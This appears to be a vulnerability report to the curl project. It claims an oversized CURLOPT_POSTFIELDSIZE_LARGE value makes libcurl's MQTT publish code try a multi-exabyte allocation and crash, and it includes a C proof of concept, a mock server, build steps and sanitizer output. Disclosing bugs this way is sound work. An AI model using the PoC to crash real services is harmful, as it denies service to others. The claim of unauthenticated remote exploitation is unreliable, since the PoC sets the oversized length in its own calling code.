curl · Report #3417428
libcurl MQTT `CURLOPT_POSTFIELDSIZE_LARGE` overflow leads to immediate DoS
How it was found
Summary
An attacker can crash or forcefully abort any application that uses libcurl's MQTT support by setting an excessively large value for CURLOPT_POSTFIELDSIZE_LARGE. The MQTT publish logic (lib/mqtt.c::mqtt_publish) trusts this value without validating it against the protocol's maximum remaining length (268,435,455) and without checking for arithmetic overflow. As a result, it attempts to allocate an impossibly large buffer (several exabytes) and immediately fails with either an abort (AddressSanitizer) or a CURLE_OUT_OF_MEMORY error, terminating the process and causing a Denial of Service.
Impact
- Availability: Any service that allows untrusted input to influence
CURLOPT_POSTFIELDSIZE(_LARGE)—for example, user-controlled message lengths or proxied MQTT requests—can be brought down instantly. A single malicious request is enough to trigger the crash. - Stability: Even in non-ASan builds, the call consistently returns
CURLE_OUT_OF_MEMORY; applications that treat this as fatal (common for MQTT producers) will shut down. When compiled with sanitizers, the process aborts on the spot due to an "allocation-size-too-big" assertion. - Scope: No authentication or man-in-the-middle capability is required. Simply making the client construct a publish request with a massive length triggers the bug.
Attack Scenario
- The attacker convinces a libcurl-based MQTT client or gateway to publish a message whose size field is set to ~4 exabytes (or any value over 0x0FFFFFFF).
- The client calls
curl_easy_setopt(handle, CURLOPT_POSTFIELDSIZE_LARGE, huge_value)and eventually invokescurl_easy_perform(). - Inside
mqtt_publish, libcurl calculates the MQTT remaining length aspayloadlen + topiclen + 2, which wraps or exceeds the MQTT specification limit. It then callsmalloc(remaininglength + 1 + encodelen). malloc()cannot satisfy the request and aborts (ASan) or returns NULL (ifallocator_may_return_null=1). In either case, the application dies or enters a failure state, causing a denial of service without ever sending the payload to the broker.
Proof of Concept
Two files are needed: a minimal MQTT mock server and a client PoC that sets an oversized payload length.
mqtt_server.py
import socket
HOST, PORT = "127.0.0.1", 1883
CONNACK = b"\x20\x02\x00\x00"
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((HOST, PORT))
s.listen(1)
print(f"[server] listening on {HOST}:{PORT}")
conn, addr = s.accept()
with conn:
print(f"[server] accepted connection from {addr}")
data = conn.recv(1024)
print(f"[server] received {len(data)} bytes")
conn.sendall(CONNACK)
print("[server] sent CONNACK")
conn.recv(1024)
print("[server] received publish (possibly truncated)")
mqtt_overflow.c
#include <curl/curl.h>
#include <stdio.h>
int main(void)
{
CURL *curl = curl_easy_init();
if(!curl) {
fprintf(stderr, "curl_easy_init failed\n");
return 1;
}
const char payload[] = "X"; /* actual data: 1 byte */
const curl_off_t fake_size = ((curl_off_t)1 << 62); /* advertise ~4 EB */
curl_easy_setopt(curl, CURLOPT_URL, "mqtt://127.0.0.1:1883/topic");
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, payload);
curl_easy_setopt(curl, CURLOPT_POSTFIELDSIZE_LARGE, fake_size);
curl_easy_setopt(curl, CURLOPT_CONNECTTIMEOUT_MS, 2000L);
curl_easy_setopt(curl, CURLOPT_TIMEOUT_MS, 3000L);
curl_easy_setopt(curl, CURLOPT_VERBOSE, 1L);
fprintf(stderr, "[*] requesting payload size: %lld\n", (long long)fake_size);
CURLcode res = curl_easy_perform(curl);
fprintf(stderr, "curl_easy_perform: %d\n", res);
curl_easy_cleanup(curl);
return (int)res;
}
Build & Run
# Configure and build libcurl with MQTT enabled (example using CMake)
cmake -S . -B build-mqtt -DCMAKE_BUILD_TYPE=Debug -DCURL_USE_LIBPSL=OFF
cmake --build build-mqtt --target libcurl_shared -- -j8
# Compile PoC with AddressSanitizer
clang -fsanitize=address -Iinclude -Ibuild-mqtt/lib \
-Lbuild-mqtt/lib -Wl,-rpath,build-mqtt/lib \
build-mqtt/poc/mqtt_overflow.c -lcurl-d -o build-mqtt/poc/mqtt_overflow
# Launch mock server and execute PoC
python3 build-mqtt/poc/mqtt_server.py &
build-mqtt/poc/mqtt_overflow
Observed Output (ASan build)
[*] requesting payload size: 4611686018427387904
* Trying 127.0.0.1:1883...
* Established connection to 127.0.0.1 (127.0.0.1 port 1883) from 127.0.0.1 port 62013
* Using client id 'curlgqXILtsX'
==12584==ERROR: AddressSanitizer: requested allocation size 0x400000000000000c ...
SUMMARY: AddressSanitizer: allocation-size-too-big mqtt.c:616 in mqtt_publish
==12584==ABORTING
Observed Output (allocator may return NULL)
$ ASAN_OPTIONS=allocator_may_return_null=1 build-mqtt/poc/mqtt_overflow
[*] requesting payload size: 4611686018427387904
==13457==WARNING: AddressSanitizer failed to allocate 0x400000000000000c bytes
curl_easy_perform: 27
The mock server log confirms that the connection is opened, a CONNACK is returned, and the client terminates immediately while trying to publish.
Root Cause
Excerpt from lib/mqtt.c:
remaininglength = payloadlen + 2 + topiclen;
encodelen = mqtt_encode_len(encodedbytes, remaininglength);
pkt = malloc(remaininglength + 1 + encodelen);
if(!pkt) {
result = CURLE_OUT_OF_MEMORY;
goto fail;
}
...
memcpy(&pkt[i], payload, payloadlen);
payloadlencomes directly fromCURLOPT_POSTFIELDSIZE_LARGE.- There is no check that
payloadlenstays within the MQTT specification (maximum remaining length 0x0FFFFFFF) or within any safe memory bounds. remaininglength + 1 + encodelenis computed insize_t, so it can wrap or exceed practical memory limits.- On failure, the function never reaches the publish stage, effectively crashing the client before any data is sent.
Recommended Mitigation
- Validate
payloadlen: Reject any request wherepayloadlen > 0x0FFFFFFF - (topiclen + 2)and returnCURLE_BAD_FUNCTION_ARGUMENT. - Overflow Guard: Before calling
malloc, ensure the sumremaininglength + 1 + encodelencannot overflow and fits within a reasonable bound. - Protocol Compliance: Consider capping
mqtt_encode_lento 4 bytes and aborting if the encoded length would exceed MQTT's remaining length limit. - Regression Test: Add a unit or integration test that attempts to set an oversized
CURLOPT_POSTFIELDSIZE_LARGEand ensures the call fails gracefully.
Environment
- macOS 15.0 (24A335)
- Apple Clang 17.0.0.17000319
- curl 8.17.1-dev (CMake build with MQTT enabled)
- AddressSanitizer (default settings) and libc runtime without ASan
Severity
Medium — Denial of Service via integer overflow / uncontrolled resource consumption (CWE-190 / CWE-400).
References
- MQTT Specification (v3.1.1) — Remaining Length field is limited to 268,435,455
- curl security program: https://hackerone.com/curl
Impact
- Remote attacker can forcefully terminate any libcurl-based MQTT client or service by advertising an oversized MQTT payload.
- The malformed request causes libcurl to attempt an allocation of several exabytes, which immediately aborts the process (ASan) or returns CURLE_OUT_OF_MEMORY, effectively denying service.
- No authentication or special network position is required; a single malicious publish request suffices to crash the application.